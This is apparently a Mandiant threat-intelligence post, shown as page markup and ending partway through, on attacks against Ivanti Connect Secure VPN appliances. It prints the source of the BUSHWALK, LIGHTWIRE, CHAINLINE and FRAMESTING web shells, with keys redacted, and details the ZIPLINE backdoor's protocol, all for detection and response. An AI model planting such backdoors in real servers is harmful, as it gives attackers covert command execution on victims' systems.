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Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c nRhiJb-BFbNVe-r8s4j-bMElCd dIsJJe" track-name="threat intelligence"track-type="tag">Threat Intelligence</div><div class="nRhiJb-ObfsIf"><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-R6PoUb"></div><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-EehZO nRhiJb-fmcmS-oXtfBe"><h1 class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-ibL1re"><div class="Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-ibL1re"><span class="FewWi"></span>Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation</div></h1></div></div><div class="nRhiJb-fmcmS-oXtfBe dEogG">January 31, 2024</div></div></section><div class="EKklye"><div class="nRhiJb-DARUcf ZWw7T"><div class="npzWPc"><div class="dzoHJ"><div class="nRhiJb-DX2B6 nRhiJb-DX2B6-OWXEXe-h30Snd"><div class="nRhiJb-j5y3u"><ul class="nRhiJb-Qijihe phRaUe" role="list"><li class="hpHPGf"><a class="nRhiJb-ARYxNe" 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class="nRhiJb-DbgRPb-wNfPc-ma6Yeb nRhiJb-DbgRPb-wNfPc-cGMI2b"><section class="DA9Qj nRhiJb-ObfsIf nRhiJb-fmcmS-oXtfBe"><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-c5RTEf"></div><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-qWD73c"><h5 class="cHE8Ub Qwf2Db-MnozTc Qwf2Db-MnozTc-OWXEXe-MnozTc-qWD73c">Mandiant </h5><p class="nRhiJb-qJTHM khCp7b"></p></div></section></div></section><div class="nRhiJb-DARUcf"><div class="nRhiJb-ObfsIf nRhiJb-DbgRPb-wNfPc-ma6Yeb nRhiJb-DbgRPb-qWD73c-cGMI2b"><div class="nRhiJb-kR0ZEf-OWXEXe-GV1x9e-ibL1re dzoHJ"></div><div class="OYL9D nRhiJb-kR0ZEf-OWXEXe-GV1x9e-OiUrBf" jsname="tx2NYc"><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Written by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan</p> <hr> <p> </p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>On Jan. 12, 2024, Mandiant published a <a href="https://cloud.google.com/blog/topics/threat-intelligence/suspected-apt-targets-ivanti-zero-day" rel="noopener" target="_blank"><u>blog post</u></a> detailing two high-impact zero-day vulnerabilities, <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805" rel="noopener" target="_blank"><u>CVE-2023-46805</u></a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887" rel="noopener" target="_blank"><u>CVE-2024-21887</u></a>, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti <a href="https://www.ivanti.com/blog/security-update-for-ivanti-connect-secure-and-ivanti-policy-secure-gateways" rel="noopener" target="_blank"><u>disclosed</u></a> two additional vulnerabilities impacting CS and PS devices, CVE-2024-21888 and CVE-2024-21893.</p> <p>The vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as <u>UNC5221</u>. </p> <p>Mandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.</p> <p>In this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.</p> <p>These observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), YARA rules, and a <a href="https://services.google.com/fh/files/misc/ivanti-connect-secure-remediation-hardening.pdf" rel="noopener" target="_blank">hardening guide</a>.</p> <p><strong>Note:</strong> Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the <a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" rel="noopener" target="_blank"><u>mitigation</u></a>, run the external <a href="https://forums.ivanti.com/s/article/KB44755?language=en_US" rel="noopener" target="_blank"><u>Integrity Checker Tool</u></a> (ICT) to check for evidence of exploitation, and continue following the <a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" rel="noopener" target="_blank"><u>KB article</u></a> to receive product updates as they become available. </p> <h2>Post Exploitation Activity Updates</h2> <h3>Mitigation Bypass</h3> <p>A mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked as <u>BUSHWALK</u>. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024. At this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the post-advisory mass exploitation activity. </p> <p><strong>Note:</strong> The external ICT successfully detected the presence of the new web shell. We have observed the threat actor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through the mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily detect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and fix the mitigation bypass.</p> <p>Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a legitimate CS file, <code>querymanifest.cgi</code>. BUSHWALK provides a threat actor the ability to execute arbitrary commands or write files to a server.</p> <p>BUSHWALK executes its malicious Perl function, <code>validateVersion</code>, if the web request <code>platform</code> parameter is <code>SafariiOS</code>. It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web request’s <code>command</code> parameter.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>sub validateVersion { my ($rawdata) = @_; if ($rawdata ne ''){ $rawdata =~ s/ /+/g; my $param0 = MIME::Base64::decode($rawdata); my $key = substr($param0, 0, 32); $key = RC4("<REDACTED>", $key); my $data = substr($param0,32); $data = RC4($key, $data); my @param1 = split("@",$data); my @action = split("=",$param1[0]); if ($action[1] eq 'change') { my $changeData = (split("=",$param1[1]))[1]; changeVersion($changeData, $key); } elsif ($action[1] eq 'update'){ my $fname = (split("=",$param1[1]))[1]; my $versionData = (split("#",$param1[2]))[1]; updateVersion($fname, $versionData); } else { print CGI::header(-type=>"text/plain", -status=> '404 Not Found'); print "error"; } exit; } else{ return; } }</code></pre> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 1: <span style="vertical-align:baseline">Entry point to BUSHWALK execution</span></em></span></p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The decrypted payload determines if the web shell should execute a command or write a file to the server.</p> <p>If the decrypted payload contains <code>change</code>, BUSHWALK calls the <code>changeData</code> function to execute an arbitrary command on the compromised appliance. The malware first extracts the command from the buffer. The malware then executes the command and encrypts the command results with RC4 using the provided key.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>sub changeVersion { my ($u_time,$key) = @_; my $o_fd = popen(*DUMP, $u_time, "r"); my $ts; print CGI::header(); while(<DUMP>) { $ts = $ts.$_; } $ts = RC4($key, $ts); my $tsc = MIME::Base64::encode_base64($ts); print $tsc; close(*DUMP); }</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 2: changeVersion function to read an arbitrary file</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>If the decrypted payload contains <code>update</code>, BUSHWALK calls the <code>updateVersion</code> function to write an arbitrary file to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then Base64-decoded and written to the file at the specified path.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>sub updateVersion { my ($fname, $strbuf) = @_; $strbuf = MIME::Base64::decode($strbuf); CORE::open(my $file, ">>",$fname) or return undef; syswrite($file, $strbuf); close($file); print CGI::header(); print "over"; }</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 3: updateVersion function to write an arbitrary file</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>LIGHTWIRE Variant</h3> <p>Mandiant has identified an additional variant of the <u>LIGHTWIRE</u> web shell that inserts itself into a legitimate component of the VPN gateway, <code>compcheckresult.cgi</code>.</p> <p>The new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog post. Mandiant recommends hunting for GET requests containing these parameters within available web logs, unallocated space, and memory images.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>/dana-na/auth/url_default/compcheckresult.cgi?comp=comp&compid=<obfuscat ed command></code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 4: LIGHTWIRE GET parameters</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable to <code>$useCompOnly</code>. Next, it will use the Perl <code>tr</code> operator to transform the string using a character-by-character translation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued command is executed by calling <code>eval</code>.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>my $useCompOnly = "<REDACTED>"; $useCompOnly =~ tr/<REDACTED>/<REDACTED>/; eval{my $c=Crypt::RC4->new(decode_base64($useCompOnly));my $d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;}or do{$Main::remedy1 = "Compatibility check: $@";}</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 5: Newly identified LIGHTWIRE variant</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will initialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>eval{my $c=Crypt::RC4->new("<REDACTED>");my $d=$c->RC4(decode_base64(CGI::param('compid')));eval $d;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 6: Original LIGHTWIRE sample</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>CHAINLINE Web Shell</h3> <p>After the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that Mandiant is tracking as <u>CHAINLINE</u>. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.</p> <p>CHAINLINE was identified in the CAV Python package in the following path: <code>/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py</code>. This is the same Python package modified to support the WIREFIRE web shell.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code># # Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved # import base64 from flask_restful import Resource, reqparse from flask import request import subprocess RC4_KEY = "<REDACTED>" def crypt(command: str): tmp = list(command) for i in range(len(tmp)): tmp[i] = chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)])) tmp = "".join(tmp) return tmp class Health(Resource): def get(self): return {"message": "method not allowed"}, 201 def post(self): parser = reqparse.RequestParser() parser.add_argument('stats', type=str) parser.add_argument('rates', type=str) args = parser.parse_args() command: str = args.stats command = crypt(base64.b64decode(command.encode(encoding="UTF-8")).decode (encoding="UTF-8")) result = subprocess.getoutput(command) result = base64.b64encode(crypt(result).encode(encoding="UTF-8")).decode (encoding="UTF-8") return {"message": 'ok', "stats": result}, 200</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 7: CHAINLINE web shell in health.py</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Unlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called <code>health.py</code>, which is not a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled Python cache file may indicate the presence of CHAINLINE.</p> <p>UNC5221 registered a new API resource path to support the access of CHAINLINE at the REST endpoint <code>/api/v1/cav/client/health</code>. This was accomplished by importing the maliciously created <code>Health</code> API resource and then calling the <code>add_resource()</code> class method on the FLASK-RESTful <code>Api</code> object within <code>/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/__init__.py</code>.</p> <p>Figure 8 shows an excerpt of the relevant file modified to support CHAINLINE.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig8.max-1400x1400.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 8: Python CAV package modified to support CHAINLINE</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><h3>FRAMESTING Web Shell</h3> <p>Mandiant has identified an additional web shell that we are tracking as <u>FRAMESTING</u>. FRAMESTING is a Python web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><pre><code>def post(self): import zlib import simplejson as json try: dskey='<REDACTED>' dsid=request.cookies.get('DSID') data=None if dsid and len(dsid)>=64: data=dsid+'==' else: data = zlib.decompress(request.data) data=json.loads(data).get('data') if data: import base64 from Cryptodome.Cipher import AES if dskey not in globals():globals()[dskey]={} globals()[dskey].pop('result',None) aes=AES.new(dskey.encode(), AES.MODE_ECB) result={'message':'','action':0} exec(zlib.decompress(aes.decrypt(base64.b64decode(data))), {'request':request,'cache':globals()[dskey]},locals()) result=globals()[dskey].get('result',result) return result, 200 except: pass</code></pre> <p style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 9: category.py modified to handle POST requests for FRAMESTING</em></span></p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>FRAMESTING was identified in the CAV Python package in the following path: <code>/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py</code>. Note that this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.</p> <p>When installed, the threat actor can access FRAMESTING web shell at the REST endpoint <code>/api/v1/cav/client/categories</code> with a POST request. Note that the legitimate <code>categories</code> endpoint only accepts GET requests.</p> <p>The web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the command stored in the value of a cookie named <code>DSID</code> from the current HTTP request. If the cookie is not present or is not of the expected length, it will attempt to decompress <code>zlib</code> data within the request's POST data. Lastly, FRAMESTING will then pass the decrypted POST data into a Python <code>exec()</code> statement to dynamically execute additional Python code.</p> <p>Note that <code>DSID</code> is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN sessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.</p> <h3>Updates to ZIPLINE Analysis</h3> <p>Since our previous blog post, Mandiant has completed additional analysis into the <u>ZIPLINE</u> passive backdoor. ZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish command and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by ZIPLINE.</p> <h4>Cryptography</h4> <p>ZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption keys are derived from key material sent by the server and combined with hard-coded data embedded in the malware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong array and the first 16 bytes of it are used as the AES-128 keys.</p> <p>The key material, received by the attacker is defined, as follows:</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>typedef struct tag_key_material_t { uint8_t decryption_keydata[20]; uint8_t encryption_keydata[20]; } key_material_t;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 10: Key material structure</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is calculated on the buffer. </p> <p>The truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is described in more details in the next section).</p> <p>The starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first 16 bytes of the <code>decryption_keydata</code> and <code>encryption_keydata</code> arrays. </p> <p>Once produced, both the decryption and the encryption round keys (11 round keys each, including the original AES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of the process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the protocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order. Additionally, the process that contains the passive backdoor is designed to have a relatively short lifespan, terminating after each of the processed commands and likely respawned by the malware ecosystem running on the compromised host.</p> <h4>Authentication</h4> <p>ZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to enforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for decryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index of the current message starting from 0. Every received or sent packet increments the index and the value is appended to the message as part of the authentication mechanism. That way messages out of order would not be able to authenticate, which would lead to termination of the communication with the C2 server.</p> <p>Figure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC calculations.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig11.max-800x800.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 11: Example message</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>In Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes (blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black), followed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1 hash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message sent and received.</p> <h4>Data Protocol</h4> <p>ZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins with the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>typedef struct tag_header_t { char signature[21]; struct tag_key_material key_material; } header_t;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 12: ZIPLINE header structure</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>The signature is expected to be the string <code>SSH-2.0-OpenSSH_0.3xx</code>, followed by a structure that contains data for AES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once decrypted, follows the structure described in Figure 13.</p></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><div> <pre><code>typedef struct tag_message_t { uint16_t len; /* big endian number */ uint8_t data[len]; /* variable size data */ uint8_t hmac_sig[20]; } message_t;</code></pre> </div> <div style="text-align:center"><span style="color:#5f6368;display:block;font-size:16px;font-style:italic;margin-top:8px;width:100%"><em>Figure 13: ZIPLINE message structure</em></span></div></span></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Although the message structure is designed to be flexible, this instance of the malware expects the first message to specify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the malware terminates the connection.</p></span></section><section class="QzPuud"><div><section><figure class="NEBdNd"><section class="PBkdHd DhGbH" jscontroller="SCGBie" jsaction="rcuQ6b:npT2md"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><section class="glue-modal glue-modal--dark QHdDac" role="dialog" aria-modal="true"><img class="JcsBte mZzdH ZOnyjc" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" alt="https://storage.googleapis.com/gweb-cloudblog-publish/images/ivanti-zero-day-part-two-fig14.max-700x700.png" jsname='P3Vluc' jsaction="click:HTIlC" loading="lazy"/><button class="glue-modal__close-btn" tabindex="0" aria-label="Close this modal"></button></section></section></figure><div class="nRhiJb-cHYyed nRhiJb-DbgRPb-R6PoUb-ma6Yeb ZpqjUe"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>Figure 14: Decrypted message structure</p></span></div></section></div></section><section class="Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b"><span class="dQQu7c" jsaction="rcuQ6b:npT2md" jscontroller="YSybTb" data-track-type="" soy-skip ssk='5:kbe95'><p>In the decrypted message in Figure 14, the size (note, it’s a big endian number) is denoted by the first two bytes (blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch, ZIPLINE will terminate the connection, which would also lead to process termination. The <code>xx</code> bytes shown in black are non-consequential padding values and the <code>yy</code> values (amber) specify the HMAC signature for the message.</p> <p>If the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it back to the C2 server. After that, it fetches another message, which is expected to have <code>message_t.len</code> equal to one. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is the index of the command to be executed.<br><br></p> <div align="left"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div style="color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%"> <div 